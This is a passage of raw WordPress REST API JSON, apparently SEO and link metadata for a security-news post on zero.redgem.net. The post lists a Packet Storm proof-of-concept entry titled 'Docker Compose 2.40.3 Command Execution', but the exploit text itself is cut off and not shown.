redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Docker Compose 2.40.3 Command Execution_PACKETSTORM:212819 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=31172","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Docker Compose 2.40.3 Command Execution_PACKETSTORM:212819 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:53:05&#8243;,&#8221;description&#8221;:&#8221;Docker Compose version 2.40.3 proof of concept provider type PHP command execution exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Docker Compose 2.40.3 Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212819&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : Docker Compose v...","og_url":"https:\/\/zero.redgem.net\/?p=31172","og_site_name":"zero redgem","article_published_time":"2025-12-15T11:42:58+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=31172#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=31172"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Docker Compose 2.40.3 Command Execution_PACKETSTORM:212819","datePublished":"2025-12-15T11:42:58+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=31172"},"wordCount":1669,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=31172#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=31172","url":"https:\/\/zero.redgem.net\/?p=31172","name":"\ud83d\udcc4 Docker Compose 2.40.3 Command Execution_PACKETSTORM:212819 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-15T11:42:58+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=31172#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=31172"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=31172#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Docker Compose 2.40.3 Command Execution_PACKETSTORM:212819"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31172","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=31172"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31172\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=31172"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=31172"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=31172"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}